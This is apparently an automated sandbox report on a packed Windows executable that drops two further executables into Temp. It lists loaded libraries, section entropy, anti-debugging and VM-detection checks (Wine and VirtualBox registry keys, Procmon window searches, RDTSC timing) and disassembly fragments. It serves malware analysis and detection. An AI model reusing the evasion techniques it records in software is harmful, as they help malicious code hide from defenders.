Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: u1z7S3hr06.exe

Static file information: File size 1877504 > 1048576

Source: u1z7S3hr06.exe

Static PE information: Raw size of dpwxnord is bigger than: 0x100000 < 0x1a2200

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe, 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Unpacked PE file: 4.2.QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.60000.0.unpack :EW;.rsrc:W;.idata :W;ljmymddw:EW;ajdgxuni:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Unpacked PE file: 5.2.BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.4c0000.0.unpack :EW;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: real checksum: 0x2b95dc should be: 0x2bba7d
Source: u1z7S3hr06.exe	Static PE information: real checksum: 0x1d19f4 should be: 0x1da326
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: real checksum: 0x2c9bdd should be: 0x2c4122

Source: u1z7S3hr06.exe	Static PE information: section name:
Source: u1z7S3hr06.exe	Static PE information: section name: .idata
Source: u1z7S3hr06.exe	Static PE information: section name:
Source: u1z7S3hr06.exe	Static PE information: section name: dpwxnord
Source: u1z7S3hr06.exe	Static PE information: section name: drbxlxwv
Source: u1z7S3hr06.exe	Static PE information: section name: .taggant
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name:
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name: .idata
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name: ljmymddw
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name: ajdgxuni
Source: QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.0.dr	Static PE information: section name: .taggant
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name:
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name: .idata
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name: ojvirhut
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name: ueswzroq
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BDF7D6 pushad ; ret	0_3_00BDF89C
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BEB66A push eax; ret	0_3_00BEB691
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BDF84F pushad ; ret	0_3_00BDF89C
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC9F8 pushad ; iretd	0_3_00BFC9F9
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC9F8 pushad ; iretd	0_3_00BFC9F9
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC878 push eax; iretd	0_3_00BFC879
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC878 push eax; iretd	0_3_00BFC879
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BDF7D6 pushad ; ret	0_3_00BDF89C
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BDF84F pushad ; ret	0_3_00BDF89C
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7ED93 pushfd ; retf	0_3_00B7EE19
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7BEDA pushad ; ret	0_3_00B7BFC1
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7CB70 pushad ; ret	0_3_00B7CB8D
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7CF62 pushad ; iretd	0_3_00B7CF65
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B80166 push ebx; ret	0_3_00B8016E
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7CF52 push eax; iretd	0_3_00B7CF55
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7CF5E pushad ; iretd	0_3_00B7CF61
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7BF5C pushad ; ret	0_3_00B7BFC1
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00B7CF4E push eax; iretd	0_3_00B7CF51
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_0599C8FC push eax; retf	0_3_0599C8FD
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_0599C460 pushad ; retf	0_3_0599C461
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC878 push eax; iretd	0_3_00BFC879
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC878 push eax; iretd	0_3_00BFC879
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC9F8 pushad ; iretd	0_3_00BFC9F9
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Code function: 0_3_00BFC9F8 pushad ; iretd	0_3_00BFC9F9
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_000722A0 push ecx; mov dword ptr [esp], edi	4_2_00075316
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_001E750B push 36B31500h; mov dword ptr [esp], ecx	4_2_001E7553
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_001E750B push edx; mov dword ptr [esp], edi	4_2_001E758C
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_001E750B push ebp; mov dword ptr [esp], esi	4_2_001E75D1
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_001E750B push 5DEAFC3Ah; mov dword ptr [esp], esi	4_2_001E75EA
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_001E76BA push 37874954h; mov dword ptr [esp], esi	4_2_001E7725
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Code function: 4_2_001E76BA push ebx; mov dword ptr [esp], 6E720E00h	4_2_001E7776

Source: u1z7S3hr06.exe	Static PE information: section name: entropy: 7.97380271953034
Source: u1z7S3hr06.exe	Static PE information: section name: dpwxnord entropy: 7.952405091757529

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File created: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe			Jump to dropped file
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File created: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BAD82 second address: 11BADA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE6Dh 0x00000009 pop edx 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FA470BCBE6Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B9F11 second address: 11B9F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B9F1C second address: 11B9F26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BA28F second address: 11BA2C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F558h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FA47177F546h 0x00000013 jmp 00007FA47177F54Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BA2C4 second address: 11BA2DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FA470BCBE72h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BA2DE second address: 11BA2E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BA432 second address: 11BA44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FA470BCBE71h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC05B second address: 11BC080 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA47177F54Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FA47177F54Bh 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC080 second address: 11BC0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edi 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FA470BCBE71h 0x00000011 pop eax 0x00000012 or dword ptr [ebp+122D2604h], ebx 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FA470BCBE68h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov edx, dword ptr [ebp+122D3801h] 0x0000003a push 00000000h 0x0000003c mov cx, di 0x0000003f push 00000003h 0x00000041 call 00007FA470BCBE6Fh 0x00000046 pushad 0x00000047 movzx eax, ax 0x0000004a add ch, 00000032h 0x0000004d popad 0x0000004e pop esi 0x0000004f call 00007FA470BCBE69h 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC0F9 second address: 11BC15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F558h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FA47177F54Ch 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FA47177F54Ah 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d js 00007FA47177F55Dh 0x00000023 push eax 0x00000024 push edx 0x00000025 ja 00007FA47177F546h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC15A second address: 11BC15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC15E second address: 11BC177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA47177F54Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC177 second address: 11BC1AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FA470BCBE70h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c sub edi, dword ptr [ebp+122D36D5h] 0x00000012 lea ebx, dword ptr [ebp+12457F01h] 0x00000018 add esi, dword ptr [ebp+122D358Dh] 0x0000001e xchg eax, ebx 0x0000001f jc 00007FA470BCBE74h 0x00000025 push eax 0x00000026 push edx 0x00000027 je 00007FA470BCBE66h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC1AF second address: 11BC1BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007FA47177F54Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC1BF second address: 11BC1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11BC1C7 second address: 11BC1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
